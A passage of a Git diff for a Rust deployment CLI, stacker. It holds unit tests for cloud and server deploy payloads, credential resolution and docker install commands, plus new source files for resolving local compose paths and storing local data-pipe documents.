test_stale_managed_proxy_app_codes_match_hyphenated_aliases() { + let apps = vec![stacker_client::ProjectAppInfo { + id: 1, + project_id: 1, + code: "nginx-proxy-manager".to_string(), + name: "Nginx Proxy Manager".to_string(), + image: "jc21/nginx-proxy-manager".to_string(), + enabled: true, + deploy_order: None, + parent_app_code: None, + }]; + + assert_eq!( + stale_managed_proxy_app_codes(&apps, "nginx_proxy_manager"), + vec!["nginx-proxy-manager".to_string()] + ); + } + + #[test] + fn test_stale_managed_proxy_app_codes_ignore_unrelated_apps() { + let apps = vec![stacker_client::ProjectAppInfo { + id: 2, + project_id: 1, + code: "status-panel-web".to_string(), + name: "Status Panel".to_string(), + image: "trydirect/status".to_string(), + enabled: true, + deploy_order: None, + parent_app_code: None, + }]; + + assert!(stale_managed_proxy_app_codes(&apps, "nginx_proxy_manager").is_empty()); + } + + #[test] + fn test_normalize_user_service_base_url_from_token_endpoint() { + let url = normalize_user_service_base_url("https://api.try.direct/oauth_server/token"); + assert_eq!(url, "https://api.try.direct"); + } + + #[test] + fn test_normalize_user_service_base_url_from_direct_login_endpoint() { + let url = normalize_user_service_base_url("https://dev.try.direct/server/user/auth/login"); + assert_eq!(url, "https://dev.try.direct/server/user"); + } + + #[test] + fn test_provider_code_for_remote_hetzner() { + assert_eq!(provider_code_for_remote("hetzner"), "htz"); + assert_eq!(provider_code_for_remote("aws"), "aws"); + assert_eq!(provider_code_for_remote("linode"), "lo"); + assert_eq!(provider_code_for_remote("vultr"), "vu"); + } + + #[test] + fn test_build_remote_deploy_payload_contains_required_fields() { + let cfg = sample_cloud_config(); + let payload = build_remote_deploy_payload(&cfg); + assert!(payload.get("provider").is_some()); + assert!(payload.get("region").is_some()); + assert!(payload.get("server").is_some()); + assert!(payload.get("os").is_some()); + assert!(payload.get("commonDomain").is_some()); + assert!(payload.get("selected_plan").is_some()); + assert!(payload.get("payment_type").is_some()); + assert!(payload.get("subscriptions").is_some()); + assert!(payload.get("stack_code").is_some()); + assert_eq!( + payload.get("stack_code").and_then(|v| v.as_str()), + Some("custom-stack") + ); + } + + #[test] + fn test_build_remote_deploy_payload_uses_project_identity_when_set() { + let cfg = ConfigBuilder::new() + .name("test-cloud-app") + .project_identity("registered-stack-code") + .deploy_target(DeployTarget::Cloud) + .cloud(CloudConfig { + provider: CloudProvider::Hetzner, + orchestrator: CloudOrchestrator::Local, + region: Some("fsn1".to_string()), + size: Some("cpx21".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: Some(PathBuf::from("/home/user/.ssh/id_ed25519")), + key: None, + server: None, + }) + .build() + .unwrap(); + + let payload = build_remote_deploy_payload(&cfg); + assert_eq!( + payload.get("stack_code").and_then(|v| v.as_str()), + Some("registered-stack-code") + ); + } + + #[test] + fn test_validate_remote_deploy_payload_accepts_generated_payload() { + std::env::set_var("STACKER_CLOUD_TOKEN", "test-token-value"); + let cfg = sample_cloud_config(); + let payload = build_remote_deploy_payload(&cfg); + let result = validate_remote_deploy_payload(&payload); + std::env::remove_var("STACKER_CLOUD_TOKEN"); + assert!(result.is_ok()); + } + + #[test] + fn test_resolve_remote_cloud_credentials_accepts_digitalocean_token() { + std::env::remove_var("STACKER_CLOUD_TOKEN"); + std::env::remove_var("STACKER_DIGITALOCEAN_TOKEN"); + std::env::set_var("DIGITALOCEAN_TOKEN", "do-token-value"); + + let creds = resolve_remote_cloud_credentials("do"); + + std::env::remove_var("DIGITALOCEAN_TOKEN"); + + assert_eq!( + creds.get("cloud_token").and_then(|v| v.as_str()), + Some("do-token-value") + ); + } + + #[test] + fn test_validate_remote_deploy_payload_rejects_missing_common_domain() { + let payload = serde_json::json!({ + "provider": "htz", + "region": "nbg1", + "server": "cpx11", + "os": "ubuntu-22.04", + "stack_code": "demo", + "selected_plan": "free", + "payment_type": "subscription", + "subscriptions": [] + }); + + let err = validate_remote_deploy_payload(&payload).unwrap_err(); + let msg = err.to_string(); + assert!(msg.contains("commonDomain")); + } + + #[test] + fn test_validate_remote_deploy_payload_rejects_empty_stack_code() { + let payload = serde_json::json!({ + "provider": "htz", + "region": "nbg1", + "server": "cpx11", + "os": "ubuntu-22.04", + "commonDomain": "example.com", + "stack_code": "", + "selected_plan": "free", + "payment_type": "subscription", + "subscriptions": [], + "cloud_token": "token" + }); + + let err = validate_remote_deploy_payload(&payload).unwrap_err(); + let msg = err.to_string(); + assert!(msg.contains("stack_code")); + } + + #[test] + fn test_persist_remote_payload_snapshot_writes_file() { + let dir = tempfile::TempDir::new().unwrap(); + let payload = serde_json::json!({ + "provider": "htz", + "region": "nbg1", + "server": "cpx11", + "os": "ubuntu-22.04", + "commonDomain": "localhost", + "stack_code": "demo-stack", + "selected_plan": "free", + "payment_type": "subscription", + "subscriptions": [] + }); + + let path = persist_remote_payload_snapshot(dir.path(), &payload).unwrap(); + assert!(path.exists()); + + let raw = std::fs::read_to_string(path).unwrap(); + let parsed: serde_json::Value = serde_json::from_str(&raw).unwrap(); + assert_eq!(parsed.get("provider").and_then(|v| v.as_str()), Some("htz")); + } + + fn sample_server_config() -> StackerConfig { + ConfigBuilder::new() + .name("test-server-app") + .deploy_target(DeployTarget::Server) + .server(ServerConfig { + host: "192.168.1.100".to_string(), + user: "deploy".to_string(), + ssh_key: Some(PathBuf::from("/home/user/.ssh/id_rsa")), + port: 22, + }) + .build() + .unwrap() + } + + fn sample_context(dry_run: bool) -> DeployContext { + DeployContext { + config_path: PathBuf::from("/project/stacker.yml"), + compose_path: PathBuf::from("/project/docker-compose.yml"), + project_dir: PathBuf::from("/project"), + dry_run, + image: None, + project_name_override: None, + key_name_override: None, + key_id_override: None, + server_name_override: None, + runtime: "runc".to_string(), + config_bundle: None, + managed_proxy_feature_enabled: true, + force_new: false, + } + } + + // ── Phase 6 tests ─────────────────────────────── + + #[test] + fn test_build_run_command_with_cloud_config() { + let config = sample_cloud_config(); + let context = sample_context(false); + let cmd = InstallContainerCommand::from_config(&config, &context, InstallAction::Apply); + let args = args_as_string(&cmd.build_args()); + + assert!(args.contains("-v /project/stacker.yml:/app/stacker.yml")); + assert!(args.contains("-v /project/docker-compose.yml:/app/docker-compose.yml")); + assert!(args.contains("-e CLOUD_PROVIDER=hetzner")); + assert!(args.contains("-e CLOUD_REGION=fsn1")); + assert!(args.contains("-e PROJECT_NAME=test-cloud-app")); + } + + #[test] + fn test_run_command_mounts_stacker_yml() { + let config = sample_cloud_config(); + let context = sample_context(false); + let cmd = InstallContainerCommand::from_config(&config, &context, InstallAction::Apply); + let args = cmd.build_args(); + + let mount_idx = args.iter().position(|a| a == "-v").unwrap(); + let mount_val = &args[mount_idx + 1]; + assert!(mount_val.contains("stacker.yml:/app/stacker.yml")); + } + + #[test] + fn test_run_command_mounts_ssh_key() { + let config = sample_cloud_config(); + let context = sample_context(false); + let cmd = InstallContainerCommand::from_config(&config, &context, InstallAction::Apply); + let args = args_as_string(&cmd.build_args()); + + assert!(args.contains("-v /home/user/.ssh/id_ed25519:/root/.ssh/id_rsa")); + } + + #[test] + fn test_resolve_ssh_key_path_expands_tilde_with_explicit_home() { + let resolved = resolve_ssh_key_path_with_home( + Path::new("~/.ssh/website-deploy-key"), + Some(Path::new("/tmp/test-home")), + ); + + assert_eq!( + resolved, + PathBuf::from("/tmp/test-home/.ssh/website-deploy-key") + ); + } + + #[test] + fn test_resolve_ssh_key_path_keeps_absolute_path() { + let resolved = resolve_ssh_key_path_with_home( + Path::new("/var/keys/website-deploy-key"), + Some(Path::new("/tmp/test-home")), + ); + + assert_eq!(resolved, PathBuf::from("/var/keys/website-deploy-key")); + } + + #[test] + fn test_run_command_plan_mode() { + let config = sample_cloud_config(); + let context = sample_context(true); + let cmd = InstallContainerCommand::from_config(&config, &context, InstallAction::Plan); + let args = cmd.build_args(); + + let last = args.last().unwrap(); + assert_eq!(last, "plan"); + assert!(!args.contains(&"apply".to_string())); + } + + #[test] + fn test_run_command_apply_mode() { + let config = sample_cloud_config(); + let context = sample_context(false); + let cmd = InstallContainerCommand::from_config(&config, &context, InstallAction::Apply); + let args = cmd.build_args(); + + let last = args.last().unwrap(); + assert_eq!(last, "apply"); + assert!(!args.contains(&"plan".to_string())); + } + + #[test] + fn test_install_container_image_tag() { + let cmd = InstallContainerCommand::new(None); + let args = cmd.build_args(); + + assert!(args.contains(&DEFAULT_INSTALL_IMAGE.to_string())); + } + + // ── Additional tests ──────────────────────────── + + #[test] + fn test_install_container_custom_image() { + let cmd = InstallContainerCommand::new(Some("custom/installer:v2")); + let args = cmd.build_args(); + + assert!(args.contains(&"custom/installer:v2".to_string())); + assert!(!args.contains(&DEFAULT_INSTALL_IMAGE.to_string())); + } + + #[test] + fn test_deploy_context_default_image() { + let ctx = sample_context(false); + assert_eq!(ctx.install_image(), DEFAULT_INSTALL_IMAGE); + } + + #[test] + fn test_deploy_context_custom_image() { + let ctx = DeployContext { + config_path: PathBuf::from("/p/stacker.yml"), + compose_path: PathBuf::from("/p/docker-compose.yml"), + project_dir: PathBuf::from("/p"), + dry_run: false, + image: Some("mycompany/install:v3".to_string()), + project_name_override: None, + key_name_override: None, + key_id_override: None, + server_name_override: None, + runtime: "runc".to_string(), + config_bundle: None, + managed_proxy_feature_enabled: true, + force_new: false, + }; + assert_eq!(ctx.install_image(), "mycompany/install:v3"); + } + + #[test] + fn test_should_run_managed_proxy_preflight_skips_force_new_cloud() { + let mut ctx = sample_context(false); + ctx.force_new = true; + + assert!(!should_run_managed_proxy_preflight( + &ctx, + DeployTarget::Cloud + )); + assert!(should_run_managed_proxy_preflight( + &ctx, + DeployTarget::Server + )); + } + + #[test] + fn test_local_deploy_dry_run() { + let config = ConfigBuilder::new().name("local-app").build().unwrap(); + let context = sample_context(true); + let executor = MockExecutor::success(); + let strategy = LocalDeploy; + + let result = strategy.deploy(&config, &context, &executor).unwrap(); + assert_eq!(result.target, DeployTarget::Local); + assert!( + result.message.contains("dry-run") || result.message.contains("previewed"), + "dry-run message should indicate preview, got: {}", + result.message + ); + + // Dry-run should NOT invoke docker at all (no compose call) + let recorded = executor.recorded_calls.lock().unwrap(); + // Only the compose-version probe may have been called (from resolve_compose_cmd), + // but the actual compose up/config should NOT be called. + assert!( + !recorded + .iter() + .any(|(_, args)| args.contains(&"up".to_string())), + "dry-run must not call docker compose up" + ); + assert!( + !recorded + .iter() + .any(|(_, args)| args.contains(&"config".to_string())), + "dry-run must not call docker compose config" + ); + } + + #[test] + fn test_local_deploy_apply() { + let config = ConfigBuilder::new().name("local-app").build().unwrap(); + let context = sample_context(false); + let executor = MockExecutor::success(); + let strategy = LocalDeploy; + + let result = strategy.deploy(&config, &context, &executor).unwrap(); + assert_eq!(result.target, DeployTarget::Local); + assert!(result.message.contains("started")); + + let args = executor.last_args(); + assert!(args.contains(&"up".to_string())); + assert!(args.contains(&"-d".to_string())); + assert!(args.contains(&"--build".to_string())); + } + + #[test] + fn test_local_deploy_failure() { + let config = ConfigBuilder::new().name("local-app").build().unwrap(); + let context = sample_context(false); + let executor = MockExecutor::failure("service failed to start"); + let strategy = LocalDeploy; + + let result = strategy.deploy(&config, &context, &executor); + assert!(result.is_err()); + } + + #[test] + fn test_local_destroy() { + let config = ConfigBuilder::new().name("local-app").build().unwrap(); + let context = sample_context(false); + let executor = MockExecutor::success(); + let strategy = LocalDeploy; + + strategy.destroy(&config, &context, &executor).unwrap(); + + let args = executor.last_args(); + assert!(args.contains(&"down".to_string())); + assert!(args.contains(&"--volumes".to_string())); + } + + #[test] + fn test_local_deploy_uses_env_file_when_configured() { + let config = ConfigBuilder::new() + .name("local-app") + .env_file(".env") + .build() + .unwrap(); + let context = sample_context(false); // real deploy, not dry-run + let executor = MockExecutor::success(); + let strategy = LocalDeploy; + + strategy.deploy(&config, &context, &executor).unwrap(); + + let args = executor.last_args(); + assert!(args.contains(&"--env-file".to_string())); + assert!(args.contains(&"/project/.env".to_string())); + } + + #[test] + fn test_cloud_deploy_validates_provider() { + let config = ConfigBuilder::new().name("no-cloud").build().unwrap(); + let strategy = CloudDeploy; + let result = strategy.validate(&config); + assert!(result.is_err()); + } + + #[test] + fn test_cloud_deploy_has_provider_passes() { + let config = sample_cloud_config(); + let strategy = CloudDeploy; + assert!(strategy.validate(&config).is_ok()); + } + + #[test] + fn test_normalize_stacker_server_url_strips_api_v1_suffix() { + assert_eq!( + normalize_stacker_server_url("https://stacker.example.com/api/v1"), + "https://stacker.example.com" + ); + assert_eq!( + normalize_stacker_server_url("https://stacker.example.com/api/v1/"), + "https://stacker.example.com" + ); + } + + #[test] + fn test_normalize_stacker_server_url_strips_direct_login_suffix() { + assert_eq!( + normalize_stacker_server_url("https://dev.try.direct/server/user/auth/login"), + "https://dev.try.direct/server/user" + ); + } + + #[test] + fn test_normalize_stacker_server_url_preserves_legacy_stacker_route() { + assert_eq!( + normalize_stacker_server_url("https://dev.try.direct/stacker"), + "https://dev.try.direct/stacker" + ); + } + + #[test] + fn test_normalize_stacker_server_url_preserves_api_gateway_host() { + assert_eq!( + normalize_stacker_server_url("https://api.try.direct"), + "https://api.try.direct" + ); + } + + #[test] + fn test_resolve_saved_stacker_base_url_prefers_saved_server_url() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: chrono::Utc::now() + chrono::Duration::minutes(10), + email: Some("user@example.com".to_string()), + server_url: Some("https://dev.try.direct/stacker".to_string()), + org: None, + domain: None, + }; + + assert_eq!( + resolve_saved_stacker_base_url(&creds), + "https://dev.try.direct/stacker" + ); + } + + #[test] + fn test_resolve_saved_stacker_base_url_falls_back_to_default() { + let creds = StoredCredentials { + access_token: "token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: chrono::Utc::now() + chrono::Duration::minutes(10), + email: Some("user@example.com".to_string()), + server_url: None, + org: None, + domain: None, + }; + + assert_eq!( + resolve_saved_stacker_base_url(&creds), + stacker_client::DEFAULT_STACKER_URL + ); + } + + #[test] + fn test_ensure_remote_cloud_credentials_available_accepts_saved_cloud_id() { + let env_creds = serde_json::Map::new(); + assert!(ensure_remote_cloud_credentials_available(Some(12), "htz", &env_creds).is_ok()); + } + + #[test] + fn test_ensure_remote_cloud_credentials_available_accepts_env_token() { + let mut env_creds = serde_json::Map::new(); + env_creds.insert( + "cloud_token".to_string(), + serde_json::Value::String("token".to_string()), + ); + assert!(ensure_remote_cloud_credentials_available(None, "htz", &env_creds).is_ok()); + } + + #[test] + fn test_ensure_remote_cloud_credentials_available_fails_without_saved_or_env_creds() { + let env_creds = serde_json::Map::new(); + let err = ensure_remote_cloud_credentials_available(None, "htz", &env_creds).unwrap_err(); + let msg = err.to_string(); + assert!(msg.contains("No saved cloud credentials were found")); + assert!(msg.contains("HCLOUD_TOKEN")); + } + + #[test] + fn test_canonicalize_registry_server_maps_docker_hub_urls_to_docker_io() { + assert_eq!( + canonicalize_registry_server("https://index.docker.io/v1/".to_string()), + "docker.io" + ); + assert_eq!( + canonicalize_registry_server("https://registry-1.docker.io".to_string()), + "docker.io" + ); + assert_eq!( + canonicalize_registry_server("hub.docker.com".to_string()), + "docker.io" + ); + } + + #[test] + fn test_resolve_docker_registry_credentials_defaults_to_docker_io_when_auth_present() { + let config = ConfigBuilder::new() + .name("private-app") + .registry(RegistryConfig { + username: Some("syncopia-user".to_string()), + password: Some("secret".to_string()), + server: None, + }) + .build() + .unwrap(); + + let creds = resolve_docker_registry_credentials(&config); + assert_eq!( + creds.get("docker_username").and_then(|v| v.as_str()), + Some("syncopia-user") + ); + assert_eq!( + creds.get("docker_password").and_then(|v| v.as_str()), + Some("secret") + ); + assert_eq!( + creds.get("docker_registry").and_then(|v| v.as_str()), + Some("docker.io") + ); + } + + #[test] + fn test_cloud_deploy_runs_install_container() { + let config = sample_cloud_config(); + let context = sample_context(false); + let executor = MockExecutor::success(); + let strategy = CloudDeploy; + + let result = strategy.deploy(&config, &context, &executor).unwrap(); + assert_eq!(result.target, DeployTarget::Cloud); + + let (program, args) = executor.last_call(); + assert_eq!(program, "docker"); + assert!(args.contains(&"run".to_string())); + assert!(args.contains(&DEFAULT_INSTALL_IMAGE.to_string())); + assert!(args.contains(&"apply".to_string())); + } + + #[test] + fn test_cloud_deploy_dry_run_uses_plan() { + let config = sample_cloud_config(); + let context = sample_context(true); + let executor = MockExecutor::success(); + let strategy = CloudDeploy; + + strategy.deploy(&config, &context, &executor).unwrap(); + + let args = executor.last_args(); + assert!(args.contains(&"plan".to_string())); + assert!(!args.contains(&"apply".to_string())); + } + + #[test] + fn test_server_deploy_validates_host() { + let config = ConfigBuilder::new().name("no-server").build().unwrap(); + let strategy = ServerDeploy; + let result = strategy.validate(&config); + assert!(result.is_err()); + } + + #[test] + fn test_server_deploy_has_host_passes() { + let config = sample_server_config(); + let strategy = ServerDeploy; + assert!(strategy.validate(&config).is_ok()); + } + + #[test] + fn test_server_deploy_sets_env_vars() { + let config = sample_server_config(); + let context = sample_context(false); + let cmd = InstallContainerCommand::from_config(&config, &context, InstallAction::Apply); + let args = args_as_string(&cmd.build_args()); + + assert!(args.contains("-e SERVER_HOST=192.168.1.100")); + assert!(args.contains("-e SERVER_USER=deploy")); + assert!(args.contains("-e SERVER_PORT=22")); + } + + #[test] + fn test_extract_server_ip_from_terraform_output() { + let stdout = "Apply complete!\n\nOutputs:\n\nserver_ip = \"203.0.113.42\"\n"; + assert_eq!(extract_server_ip(stdout), Some("203.0.113.42".to_string())); + } + + #[test] + fn test_extract_server_ip_public_ip() { + let stdout = "public_ip = 10.0.0.5\n"; + assert_eq!(extract_server_ip(stdout), Some("10.0.0.5".to_string())); + } + + #[test] + fn test_extract_server_ip_none() { + assert_eq!(extract_server_ip("no ip here"), None); + } + + #[test] + fn test_strategy_for_factory() { + // Verify the factory returns something for each variant (no panic). + let _ = strategy_for(&DeployTarget::Local); + let _ = strategy_for(&DeployTarget::Cloud); + let _ = strategy_for(&DeployTarget::Server); + } + + #[test] + fn test_install_action_as_str() { + assert_eq!(InstallAction::Plan.as_str(), "plan"); + assert_eq!(InstallAction::Apply.as_str(), "apply"); + assert_eq!(InstallAction::Destroy.as_str(), "destroy"); + } + + #[test] + fn test_command_output_success() { + let output = CommandOutput { + exit_code: 0, + stdout: "ok".to_string(), + stderr: String::new(), + }; + assert!(output.success()); + + let output = CommandOutput { + exit_code: 1, + stdout: String::new(), + stderr: "fail".to_string(), + }; + assert!(!output.success()); + } + + #[test] + fn test_install_command_remove_after_default() { + let cmd = InstallContainerCommand::new(None); + let args = cmd.build_args(); + assert!(args.contains(&"--rm".to_string())); + } + + #[test] + fn test_install_command_no_remove() { + let cmd = InstallContainerCommand::new(None).remove_after(false); + let args = cmd.build_args(); + assert!(!args.contains(&"--rm".to_string())); + } +} diff --git a/stacker/stacker/src/cli/local_compose.rs b/stacker/stacker/src/cli/local_compose.rs new file mode 100644 index 0000000..dc02aad --- /dev/null +++ b/stacker/stacker/src/cli/local_compose.rs @@ -0,0 +1,111 @@ +use std::path::{Path, PathBuf}; + +use crate::cli::config_parser::{DeployTarget, StackerConfig}; +use crate::cli::error::CliError; + +const OUTPUT_DIR: &str = ".stacker"; +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +pub fn resolve_local_compose_path(project_dir: &Path) -> Result { + let generated = project_dir.join(OUTPUT_DIR).join("docker-compose.yml"); + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + let mut selected_non_local_target = false; + + if config_path.exists() { + if let Ok(config) = StackerConfig::from_file(&config_path) { + if let Ok(config) = config.with_resolved_deploy_target(None) { + selected_non_local_target = config.deploy.target != DeployTarget::Local; + + if config.deploy.target == DeployTarget::Local { + if let Some(compose_file) = config.deploy.compose_file { + let resolved = if compose_file.is_absolute() { + compose_file + } else { + project_dir.join(compose_file) + }; + if resolved.exists() { + return Ok(resolved); + } + } + } + } + } + } + + if selected_non_local_target { + return Err(CliError::ConfigValidation( + "The selected deploy target is not local, so no local docker-compose file is available." + .to_string(), + )); + } + + if generated.exists() { + return Ok(generated); + } + + Err(CliError::ConfigValidation( + "No deployment found. Run 'stacker deploy' first.".to_string(), + )) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_resolve_local_compose_path_prefers_configured_compose_file() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::create_dir_all(dir.path().join("docker/local")).unwrap(); + std::fs::create_dir_all(dir.path().join(".stacker")).unwrap(); + std::fs::write( + dir.path().join("docker/local/compose.yml"), + "services: {}\n", + ) + .unwrap(); + std::fs::write( + dir.path().join(".stacker/docker-compose.yml"), + "services: {}\n", + ) + .unwrap(); + std::fs::write( + dir.path().join("stacker.yml"), + "name: demo\ndeploy:\n target: local\n compose_file: docker/local/compose.yml\n", + ) + .unwrap(); + + let resolved = resolve_local_compose_path(dir.path()).unwrap(); + assert_eq!(resolved, dir.path().join("docker/local/compose.yml")); + } + + #[test] + fn test_resolve_local_compose_path_falls_back_to_generated_compose() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::create_dir_all(dir.path().join(".stacker")).unwrap(); + std::fs::write( + dir.path().join(".stacker/docker-compose.yml"), + "services: {}\n", + ) + .unwrap(); + + let resolved = resolve_local_compose_path(dir.path()).unwrap(); + assert_eq!(resolved, dir.path().join(".stacker/docker-compose.yml")); + } + + #[test] + fn test_resolve_local_compose_path_rejects_remote_default_target() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::create_dir_all(dir.path().join(".stacker")).unwrap(); + std::fs::write( + dir.path().join(".stacker/docker-compose.yml"), + "services: {}\n", + ) + .unwrap(); + std::fs::write( + dir.path().join("stacker.yml"), + "name: demo\ndeploy:\n default_target: prod\n targets:\n local:\n compose_file: docker/local/compose.yml\n prod:\n server:\n host: 10.0.0.8\n user: deploy\n ssh_key: ~/.ssh/id_ed25519\n", + ) + .unwrap(); + + assert!(resolve_local_compose_path(dir.path()).is_err()); + } +} diff --git a/stacker/stacker/src/cli/local_pipe_store.rs b/stacker/stacker/src/cli/local_pipe_store.rs new file mode 100644 index 0000000..19f963f --- /dev/null +++ b/stacker/stacker/src/cli/local_pipe_store.rs @@ -0,0 +1,642 @@ +use std::fs; +use std::path::{Path, PathBuf}; + +use chrono::Utc; +use pipe_adapter_sdk::PipeAdapterReference; +use serde::{Deserialize, Serialize}; + +use crate::cli::error::CliError; +use crate::cli::stacker_client::{CreatePipeInstanceApiRequest, CreatePipeTemplateApiRequest}; +use crate::helpers::fs::write_atomic; + +pub const LOCAL_PIPE_SCHEMA_VERSION: u32 = 1; +const LOCAL_PIPE_FILE_MODE: u32 = 0o600; +const LOCAL_PIPE_DIR: &str = ".stacker/pipes"; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct LocalPipeBinding { + pub selector: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub container: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub adapter: Option, + pub method: String, + pub path: String, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub fields: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct LocalPipeTemplate { + #[serde(skip_serializing_if = "Option::is_none")] + pub description: Option, + pub source_app_type: String, + pub source_endpoint: serde_json::Value, + pub target_app_type: String, + pub target_endpoint: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_external_url: Option, + pub field_mapping: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + pub config: Option, + pub is_public: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct LocalPipeInstance { + #[serde(skip_serializing_if = "Option::is_none")] + pub source_adapter: Option, + pub source_container: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_adapter: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_container: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_url: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub field_mapping_override: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub config_override: Option, + #[serde(default)] + pub trigger_count: i64, + #[serde(default)] + pub error_count: i64, + #[serde(skip_serializing_if = "Option::is_none")] + pub last_triggered_at: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)] +pub struct LocalPipePromotion { + #[serde(skip_serializing_if = "Option::is_none")] + pub last_deployment_hash: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub remote_template_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub remote_instance_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub promoted_at: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Default)] +pub struct LocalPipeDiagnostics { + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub notes: Vec, +} + +#[derive(Debug, Clone)] +pub struct NewLocalPipeDocument { + pub name: String, + pub source: LocalPipeBinding, + pub target: LocalPipeBinding, + pub template: LocalPipeTemplate, + pub instance: LocalPipeInstance, + pub diagnostics: LocalPipeDiagnostics, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct LocalPipeDocument { + pub schema_version: u32, + pub id: String, + pub name: String, + pub created_at: String, + pub updated_at: String, + pub status: String, + pub source: LocalPipeBinding, + pub target: LocalPipeBinding, + pub template: LocalPipeTemplate, + pub instance: LocalPipeInstance, + #[serde(default)] + pub promotion: LocalPipePromotion, + #[serde(default)] + pub diagnostics: LocalPipeDiagnostics, +} + +impl LocalPipeDocument { + pub fn draft(input: NewLocalPipeDocument) -> Result { + let id = local_pipe_id_from_name(&input.name)?; + let now = Utc::now().to_rfc3339(); + let document = Self { + schema_version: LOCAL_PIPE_SCHEMA_VERSION, + id, + name: input.name, + created_at: now.clone(), + updated_at: now, + status: "draft".to_string(), + source: input.source, + target: input.target, + template: input.template, + instance: input.instance, + promotion: LocalPipePromotion::default(), + diagnostics: input.diagnostics, + }; + document.validate()?; + Ok(document) + } + + pub fn validate(&self) -> Result<(), CliError> { + if self.schema_version != LOCAL_PIPE_SCHEMA_VERSION { + return Err(CliError::ConfigValidation(format!( + "Unsupported local pipe schema version {} for '{}'", + self.schema_version, self.id + ))); + } + if self.name.trim().is_empty() { + return Err(CliError::ConfigValidation( + "Local pipe name cannot be empty".to_string(), + )); + } + validate_local_pipe_id(&self.id)?; + if self.source.selector.trim().is_empty() || self.target.selector.trim().is_empty() { + return Err(CliError::ConfigValidation( + "Local pipe source and target selectors are required".to_string(), + )); + } + if self.instance.source_container.trim().is_empty() { + return Err(CliError::ConfigValidation(format!( + "Local pipe '{}' is missing a source container", + self.id + ))); + } + if self.instance.target_adapter.is_none() + && self.instance.target_container.is_none() + && self.instance.target_url.is_none() + { + return Err(CliError::ConfigValidation(format!( + "Local pipe '{}' must define a target adapter, target container, or target URL", + self.id + ))); + } + + if let Some(adapter) = &self.instance.source_adapter { + validate_adapter_config(adapter.config.as_ref(), "source_adapter.config")?; + } + if let Some(adapter) = &self.instance.target_adapter { + validate_adapter_config(adapter.config.as_ref(), "target_adapter.config")?; + } + validate_adapter_config(self.template.config.as_ref(), "template.config")?; + validate_adapter_config( + self.instance.config_override.as_ref(), + "instance.config_override", + )?; + + Ok(()) + } + + pub fn to_template_request(&self) -> CreatePipeTemplateApiRequest { + CreatePipeTemplateApiRequest { + name: self.name.clone(), + description: self.template.description.clone(), + source_app_type: self.template.source_app_type.clone(), + source_endpoint: self.template.source_endpoint.clone(), + target_app_type: self.template.target_app_type.clone(), + target_endpoint: self.template.target_endpoint.clone(), + target_external_url: self.template.target_external_url.clone(), + field_mapping: self.template.field_mapping.clone(), + config: self.template.config.clone(), + is_public: Some(self.template.is_public), + } + } + + pub fn to_instance_request( + &self, + deployment_hash: String, + template_id: String, + ) -> CreatePipeInstanceApiRequest { + CreatePipeInstanceApiRequest { + deployment_hash: Some(deployment_hash), + source_adapter: self.instance.source_adapter.clone(), + source_container: self.instance.source_container.clone(), + target_adapter: self.instance.target_adapter.clone(), + target_container: self.instance.target_container.clone(), + target_url: self.instance.target_url.clone(), + template_id: Some(template_id), + field_mapping_override: self.instance.field_mapping_override.clone(), + config_override: self.instance.config_override.clone(), + } + } + + pub fn record_promotion( + &mut self, + deployment_hash: &str, + template_id: &str, + instance_id: &str, + ) { + let promoted_at = Utc::now().to_rfc3339(); + self.updated_at = promoted_at.clone(); + self.promotion.last_deployment_hash = Some(deployment_hash.to_string()); + self.promotion.remote_template_id = Some(template_id.to_string()); + self.promotion.remote_instance_id = Some(instance_id.to_string()); + self.promotion.promoted_at = Some(promoted_at); + } + + pub fn effective_field_mapping(&self) -> &serde_json::Value { + self.instance + .field_mapping_override + .as_ref() + .unwrap_or(&self.template.field_mapping) + } + + pub fn set_status(&mut self, status: &str) { + self.status = status.to_string(); + self.updated_at = Utc::now().to_rfc3339(); + } + + pub fn record_trigger_success(&mut self) { + let now = Utc::now().to_rfc3339(); + self.updated_at = now.clone(); + self.instance.last_triggered_at = Some(now); + self.instance.trigger_count += 1; + } + + pub fn record_trigger_failure(&mut self) { + self.instance.error_count += 1; + self.set_status("error"); + } + + pub fn source_display(&self) -> &str { + self.instance + .source_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()) + .unwrap_or(self.instance.source_container.as_str()) + } + + pub fn target_display(&self) -> &str { + self.instance + .target_adapter + .as_ref() + .map(|adapter| adapter.code.as_str()) + .or(self.instance.target_container.as_deref()) + .or(self.instance.target_url.as_deref()) + .unwrap_or("-") + } +} + +#[derive(Debug, Clone)] +pub struct LocalPipeStore { + project_dir: PathBuf, +} + +impl LocalPipeStore { + pub fn new(project_dir: impl Into) -> Self { + Self { + project_dir: project_dir.into(), + } + } + + pub fn pipes_dir(&self) -> PathBuf { + self.project_dir.join(LOCAL_PIPE_DIR) + } + + pub fn 